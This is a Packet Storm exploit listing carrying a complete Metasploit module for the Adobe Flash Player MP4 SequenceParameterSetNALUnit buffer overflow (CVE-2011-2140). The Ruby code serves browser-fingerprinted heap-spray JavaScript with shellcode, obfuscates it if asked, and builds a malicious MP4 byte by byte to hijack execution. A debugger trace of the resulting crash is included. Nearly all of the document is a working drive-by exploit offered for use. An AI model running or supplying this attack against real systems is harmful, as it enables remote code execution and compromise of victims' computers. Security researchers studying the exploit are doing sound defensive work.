Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer Overflow

2012-02-10T00:00:00
ID PACKETSTORM:109640
Type packetstorm
Reporter Abysssec
Modified 2012-02-10T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer Overflow",  
'Description' => %q{  
This module exploits a vulnerability found in Adobe Flash Player's Flash10u.ocx  
component. When processing a MP4 file (specifically the Sequence Parameter Set),  
Flash will see if pic_order_cnt_type is equal to 1, which sets the  
num_ref_frames_in_pic_order_cnt_cycle field, and then blindly copies data in  
offset_for_ref_frame on the stack, which allows arbitrary remote code execution  
under the context of the user. Numerous reports also indicate that this  
vulnerability has been exploited in the wild.  
  
Please note that the exploit requires a SWF media player in order to trigger  
the bug, which currently isn't included in the framework. However, software such  
as Longtail SWF Player is free for non-commercial use, and is easily obtainable.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Alexander Gavrun', #RCA  
'Abysssec', #PoC  
'sinn3r' #Metasploit  
],  
'References' =>  
[  
[ 'CVE', '2011-2140' ],  
[ 'OSVDB', '74439'],  
[ 'BID', '49083' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-276/' ],  
[ 'URL', 'http://www.kahusecurity.com/2011/cve-2011-2140-caught-in-the-wild/' ],  
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-21.html' ],  
[ 'URL', 'http://0x1byte.blogspot.com/2011/11/analysis-of-cve-2011-2140-adobe-flash.html' ],  
[ 'URL', 'http://www.abysssec.com/blog/2012/01/31/exploiting-cve-2011-2140-another-flash-player-vulnerability/' ]  
],  
'Payload' =>  
{  
'BadChars' => "\x00",  
'StackAdjustment' => -3500  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "seh",  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600' } ], #0x5f4 = spot on  
[ 'IE 7 on Windows XP SP3 / Vista', { 'Offset' => '0x600' } ]  
],  
'Privileged' => false,  
'DisclosureDate' => "Aug 9 2011",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']),  
OptString.new('SWF_PLAYER_URI', [true, 'Path to the SWF Player'])  
], self.class)  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/  
return targets[1]  
elsif agent =~ /MSIE 7/  
return targets[2]  
else  
return nil  
end  
end  
  
def on_request_uri(cli, request)  
agent = request.headers['User-Agent']  
my_target = get_target(agent)  
  
# Avoid the attack if the victim doesn't have the same setup we're targeting  
if my_target.nil?  
print_error("Browser not supported, will not launch attack: #{agent.to_s}: #{cli.peerhost}:#{cli.peerport}")  
send_not_found(cli)  
return  
end  
  
# The SWF requests our MP4 trigger  
if request.uri =~ /\.mp4$/  
print_status("Sending MP4 to #{cli.peerhost}:#{cli.peerport}...")  
#print_error("Sorry, not sending you the mp4 for now")  
#send_not_found(cli)  
send_response(cli, @mp4, {'Content-Type'=>'video/mp4'})  
return  
end  
  
# Set payload depending on target  
p = payload.encoded  
  
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))  
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))  
  
js = <<-JS  
var heap_obj = new heapLib.ie(0x20000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_nops}");  
  
while (nops.length < 0x80000) nops += nops;  
var offset = nops.substring(0, #{my_target['Offset']});  
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);  
  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
  
heap_obj.gc();  
  
for (var i=1; i < 0x300; i++) {  
heap_obj.alloc(block);  
}  
JS  
  
js = heaplib(js, {:noobfu => true})  
  
if datastore['OBFUSCATE']  
js = ::Rex::Exploitation::JSObfu.new(js)  
js.obfuscate  
end  
  
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']  
mp4_uri = "http://#{myhost}:#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6)+3)}.mp4"  
swf_uri = "#{datastore['SWF_PLAYER_URI']}?autostart=true&image=video.jpg&file=#{mp4_uri}"  
  
html = %Q|  
<html>  
<head>  
<script>  
#{js}  
</script>  
</head>  
<body>  
<object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">  
<param name="movie" value="#{swf_uri}">  
</object>  
</body>  
</html>  
|  
  
html = html.gsub(/^\t\t/, '')  
  
print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
end  
  
def exploit  
@mp4 = create_mp4  
super  
end  
  
def create_mp4  
ftypAtom = "\x00\x00\x00\x20" #Size  
ftypAtom << "ftypisom"  
ftypAtom << "\x00\x00\x02\x00"  
ftypAtom << "isomiso2avc1mp41"  
  
mdatAtom = "\x00\x00\x00\x10" #Size  
mdatAtom << "mdat"  
mdatAtom << "\x00\x00\x02\x8B\x06\x05\xFF\xFF"  
  
moovAtom1 = "\x00\x00\x08\x83" #Size  
moovAtom1 << "moov" #Move header box header  
moovAtom1 << "\x00\x00\x00"  
moovAtom1 << "lmvhd" # Type  
moovAtom1 << "\x00\x00\x00\x00" # Version/Flags  
moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time  
moovAtom1 << "\x00\x00\x03\xE8" # Time scale  
moovAtom1 << "\x00\x00\x2F\x80" # Duration  
moovAtom1 << "\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
moovAtom1 << "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"  
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x02\xFA"  
moovAtom1 << "trak" # Track box header  
moovAtom1 << "\x00\x00\x00\x5C"  
moovAtom1 << "tkhd"  
moovAtom1 << "\x00\x00\x00\x0F"  
moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time  
moovAtom1 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x2E\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
moovAtom1 << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
moovAtom1 << "\x00\x00\x00\x00\x40\x00\x00\x00\x01\x42\x00\x00\x01\x42\x00\x00\x00\x00\x02"  
moovAtom1 << "rmdia"  
moovAtom1 << "\x00\x00\x00\x20" # Size  
moovAtom1 << "mdhd" # Media header box  
moovAtom1 << "\x00\x00\x00\x00" # Version/Flags  
moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time  
moovAtom1 << "\x00\x00\x00\x01" # Time scale  
moovAtom1 << "\x00\x00\x00\x0C" # Duration  
moovAtom1 << "\x55\xC4\x00\x00"  
moovAtom1 << "\x00\x00\x00\x2D" # Size  
moovAtom1 << "hdlr" # Handler Reference header  
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00"  
moovAtom1 << "vide" # Handler type  
moovAtom1 << "\x00\x00\x00\x00\x00"  
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00"  
moovAtom1 << "VideoHandler" # Handler name  
moovAtom1 << "\x00\x00\x00\x02\x1D"  
moovAtom1 << "minf"  
moovAtom1 << "\x00\x00\x00\x14"  
moovAtom1 << "vmhd"  
moovAtom1 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24"  
moovAtom1 << "dinf" # Data information box header  
moovAtom1 << "\x00\x00\x00\x1c"  
moovAtom1 << "dref" # Data reference box  
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01"  
moovAtom1 << "\x00\x00\x00\x0C" # Size  
moovAtom1 << "url " # Data entry URL box  
moovAtom1 << "\x00\x00\x00\x01" # Location / version / flags  
moovAtom1 << "\x00\x00\x09\xDD" # Size  
moovAtom1 << "stbl"  
moovAtom1 << "\x00\x00\x08\x99"  
moovAtom1 << "stsd"  
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01"  
moovAtom1 << "\x00\x00\x08\x89" # Size  
moovAtom1 << "avc1"  
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
moovAtom1 << "\x01\x42" # Width  
moovAtom1 << "\x01\x42" # Height  
moovAtom1 << "\x00\x48\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
moovAtom1 << "\x18" # Depth  
moovAtom1 << "\xFF\xFF"  
moovAtom1 << "\x00\x00\x08\x33" # Size  
moovAtom1 << "avcC"  
moovAtom1 << "\x01" # Config version  
moovAtom1 << "\x64" # Avc profile indication  
moovAtom1 << "\x00" # Compatibility  
moovAtom1 << "\x15" # Avc level indication  
moovAtom1 << "\xFF\xE1"  
  
# Although the fields have different values, they all become 0x0c0c0c0c  
# in memory.  
cycle = "\x00\x00\x00"  
cycle << "\x30\x30\x30\x30" #6th  
cycle << "\x00\x00\x00"  
cycle << "\x18\x18\x18\x18" #7th  
cycle << "\x00\x00\x00"  
cycle << "\x0c\x0c\x0c\x0c" #8th  
cycle << "\x00\x00\x00"  
cycle << "\x06\x06\x06\x06" #1st  
cycle << "\x00\x00\x00"  
cycle << "\x03\x03\x03\x03"  
cycle << "\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00"  
cycle << "\xc0\xc0\xc0\xc0" # 4th  
cycle << "\x00\x00\x00"  
cycle << "\x60\x60\x60\x60"  
  
spsunit = "\x08\x1A\x67\x70\x34\x32\x74\x70\x00\x00\xAF\x88\x88\x84\x00\x00\x03\x00\x04\x00\x00\x03\x00\x3F\xFF\xFF\xFF\xFF\xFF"  
spsunit << "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"  
spsunit << "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFC"  
spsunit << cycle * 35  
spsunit << "\x00\x00\x00\x30\x30\x03\x03\x03\x03\x00\x00\x00\xB2\x2C"  
  
moovAtom2 = "\x00\x00\x00\x18"  
moovAtom2 << "stts"  
moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0C\x00\x00\x00\x01"  
moovAtom2 << "\x00\x00\x00\x14"  
moovAtom2 << "stss"  
moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"  
moovAtom2 << "pctts"  
moovAtom2 << "\x00\x00\x00\x00\x00\x00"  
moovAtom2 << "\x00\x0C\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"  
moovAtom2 << "\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x02"  
moovAtom2 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00"  
moovAtom2 << "\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02"  
moovAtom2 << "\x00\x00\x00\x1C"  
moovAtom2 << "stsc"  
moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01"  
moovAtom2 << "\x00\x00\x00\x44"  
moovAtom2 << "stsz"  
moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
moovAtom2 << "\x0C\x00\x00\x2F\x8D\x00\x00\x0C\xFE\x00\x00\x04\x42\x00\x00\x0B\x20\x00\x00\x04\x58\x00\x00\x07\x19\x00\x00\x07"  
moovAtom2 << "\x63\x00\x00\x02\xD6\x00\x00\x03\xC1\x00\x00\x0A\xDF\x00\x00\x04\x9B\x00\x00\x09\x39"  
moovAtom2 << "\x00\x00\x00\x40"  
moovAtom2 << "stco"  
moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x0C\x00\x00\x00\x30\x00\x00\x2F\xBD\x00\x00\x3D\x8A\x00\x00\x48\x19\x00\x00\x5A\xF4"  
moovAtom2 << "\x00\x00\x66\x1F\x00\x00\x73\xEA\x00\x00\x82\x32\x00\x00\x8A\xFA\x00\x00\x95\x51\x00\x00\xA7\x16\x00\x00\xB1\xE5"  
  
moovAtom = moovAtom1 + spsunit + moovAtom2  
m = ftypAtom + mdatAtom + moovAtom  
return m  
end  
  
end  
  
=begin  
C:\WINDOWS\system32\Macromed\Flash\Flash10u.ocx  
  
Flash10u+0x5b4e8:  
Missing image name, possible paged-out or corrupt data.  
1f06b4e8 8901 mov dword ptr [ecx],eax ds:0023:020c0000=00905a4d  
0:008> !exchain  
020bfdfc: <Unloaded_ud.drv>+c0c0c0b (0c0c0c0c)  
  
ECX points to 0x0c0c0c0c at the time of the crash:  
0:008> r  
eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000  
eip=0c0c0c0c esp=020befa8 ebp=020befc8 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050246  
<Unloaded_ud.drv>+0xc0c0c0b:  
0c0c0c0c ?? ???  
  
Example of SWF player URI:  
http://www.jeroenwijering.com/embed/mediaplayer.swf  
  
To-do:  
IE 8 target  
=end  
`